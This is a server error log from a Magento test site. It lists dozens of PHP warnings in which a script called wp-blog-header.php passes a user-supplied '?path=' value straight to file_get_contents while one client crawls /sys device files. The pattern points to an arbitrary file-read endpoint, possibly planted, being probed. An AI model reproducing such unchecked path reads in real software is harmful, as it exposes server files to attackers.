[Thu Mar 26 10:41:36.113498 2026] [php:warn] [pid 3106758] [client 74.7.241.26:47460] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/physical_node/driver/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/physical_node/driver
[Thu Mar 26 10:41:52.765043 2026] [php:warn] [pid 3106758] [client 74.7.241.26:47460] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/physical_node/reset): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/physical_node
[Thu Mar 26 10:42:41.182716 2026] [php:warn] [pid 3106744] [client 74.7.241.26:39722] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/device:f0/subsystem/devices/device:106/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/device:f0/subsystem/devices/device:106
[Thu Mar 26 10:43:09.667084 2026] [php:warn] [pid 3106744] [client 74.7.241.26:39722] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/physical_node/firmware_node/physical_node/driver/0000:00:15.1/remove): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/physical_node/firmware_node/physical_node/driver/0000:00:15.1
[Thu Mar 26 10:43:10.657829 2026] [php:warn] [pid 3106744] [client 74.7.241.26:39722] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:1a/subsystem/drivers/battery/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:1a/subsystem/drivers/battery
[Thu Mar 26 10:43:19.823069 2026] [php:warn] [pid 3107074] [client 74.7.241.26:57408] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:d8/subsystem/drivers/battery/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:d8/subsystem/drivers/battery
[Thu Mar 26 10:43:23.444327 2026] [php:warn] [pid 3107074] [client 74.7.241.26:57408] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:d2/subsystem/drivers/battery/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:d2/subsystem/drivers/battery
[Thu Mar 26 10:43:45.525487 2026] [php:warn] [pid 3107074] [client 74.7.241.26:57408] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 10:43:46.033915 2026] [php:warn] [pid 3107074] [client 74.7.241.26:57408] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 10:43:47.083012 2026] [php:warn] [pid 3107074] [client 74.7.241.26:57408] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:da
[Thu Mar 26 10:43:47.638065 2026] [php:warn] [pid 3107074] [client 74.7.241.26:57408] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:ca
[Thu Mar 26 10:43:48.131836 2026] [php:warn] [pid 3107074] [client 74.7.241.26:57408] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/drivers/ac
[Thu Mar 26 10:43:48.607698 2026] [php:warn] [pid 3107074] [client 74.7.241.26:57408] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 10:43:51.763558 2026] [php:warn] [pid 3107074] [client 74.7.241.26:57408] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 10:43:52.336950 2026] [php:warn] [pid 3107074] [client 74.7.241.26:57408] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:bc
[Thu Mar 26 10:43:53.422614 2026] [php:warn] [pid 3107074] [client 74.7.241.26:57408] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 10:43:53.897685 2026] [php:warn] [pid 3107074] [client 74.7.241.26:57408] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ae
[Thu Mar 26 10:43:54.416397 2026] [php:warn] [pid 3107074] [client 74.7.241.26:57408] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/drivers/ec
[Thu Mar 26 10:43:56.069927 2026] [php:warn] [pid 3107074] [client 74.7.241.26:57408] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 10:43:58.209063 2026] [php:warn] [pid 3107074] [client 74.7.241.26:57408] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:ea
[Thu Mar 26 10:43:58.788328 2026] [php:warn] [pid 3107074] [client 74.7.241.26:57408] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 10:43:59.391190 2026] [php:warn] [pid 3107074] [client 74.7.241.26:57408] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 10:44:01.969078 2026] [php:warn] [pid 3107074] [client 74.7.241.26:57408] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/drivers/ec
[Thu Mar 26 10:44:03.669079 2026] [php:warn] [pid 3107074] [client 74.7.241.26:57408] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ec
[Thu Mar 26 10:44:04.722834 2026] [php:warn] [pid 3107074] [client 74.7.241.26:57408] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc
[Thu Mar 26 10:44:05.256599 2026] [php:warn] [pid 3107074] [client 74.7.241.26:57408] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 10:44:06.794560 2026] [php:warn] [pid 3107074] [client 74.7.241.26:57408] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 10:44:07.302285 2026] [php:warn] [pid 3107074] [client 74.7.241.26:57408] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:bc
[Thu Mar 26 10:44:08.899249 2026] [php:warn] [pid 3107074] [client 74.7.241.26:57408] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:cc
[Thu Mar 26 10:44:11.253410 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 10:44:12.813103 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/drivers/ec
[Thu Mar 26 10:44:14.371850 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 10:44:15.400202 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 10:44:15.911758 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:ec
[Thu Mar 26 10:44:19.064067 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:fa
[Thu Mar 26 10:44:21.700011 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/drivers/ec
[Thu Mar 26 10:44:24.317111 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ca
[Thu Mar 26 10:44:31.284248 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 10:44:33.446011 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:da/subsystem/devices/device:dd/device:de
[Thu Mar 26 10:44:34.529235 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:fd/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:fd/device:fe
[Thu Mar 26 10:44:38.229587 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 10:44:39.821882 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 10:44:40.329510 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ae
[Thu Mar 26 10:44:41.917191 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
